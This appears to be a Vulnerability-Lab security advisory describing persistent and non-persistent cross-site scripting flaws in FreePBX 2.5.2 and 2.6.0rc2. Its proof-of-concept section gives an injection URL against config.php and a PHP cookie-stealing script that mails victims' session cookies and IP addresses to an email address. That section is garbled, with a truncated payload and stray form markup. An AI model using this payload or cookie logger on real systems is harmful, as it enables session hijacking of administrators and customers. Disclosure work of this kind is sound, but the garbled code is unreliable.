Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple persistent & non-persistent Vulnerabilities on PBX Phone System Application.


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple cross-site scripting (XSS) vulnerabilities in FreePBX 2.5.2 and 2.6.0rc2, and possibly other versions, allow remote attackers to inject arbitrary web script or HTML via the (1) tech parameter to admin/admin/config.php during a trunks display action, the (2) description parameter during an Add Zap Channel action, and (3) unspecified vectors during an Add Recordings action.

1.1
Multiple XSS Vulnerabilities are detected on client-side(persistent). An attacker with low privilegs is able
to include own bad script routines on client-side(Example;PHP;JS) of the phone application. Attackers can get Session-Data(Cookies)
of customers/admins over multiple Cross Site Scripting Vulnerabilities.
 
Vulnerable Module: 
            [+] Trunk/Tech
 
Path:   /admin/admin/  
File:   config.php 
Para:   ?display=trunks&tech=
 
 
1.2
Multiple XSS Vulnerabilities are detected on server-side. An attacker with low privilegs is able
to include own bad script routines on server-side(Example;PHP;JS) of the phone application. Attackers can get Session-Data(Cookies)
of customers/admins over multiple Cross Site Scripting Vulnerabilities.
 
Vulnerable Module: 
            [+] Add Recordings
            [+] Add Zap Channel


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with user inter-action. For example or demonstration ...
 
1.1
 
location.href='https://127.0.0.1:8080/admin/admin/config.php?display=trunks&tech=%3C/script%3E%20%22%3E

<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A");
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("[email protected]", $subject, $msg);

</tr><tr><td colspan="2"><br><input name="Submit" type="submit" value="Submit Changes" tabindex="4">
</td></tr></table></form>


Security Risk:
==============
1.1
The security risk of the non-persistent vulnerabilities are estimated as low because of the client-side attack.
 
1.2
The security risk of the persistent vulnerabilities are estimated as medium because of the server-side attack.
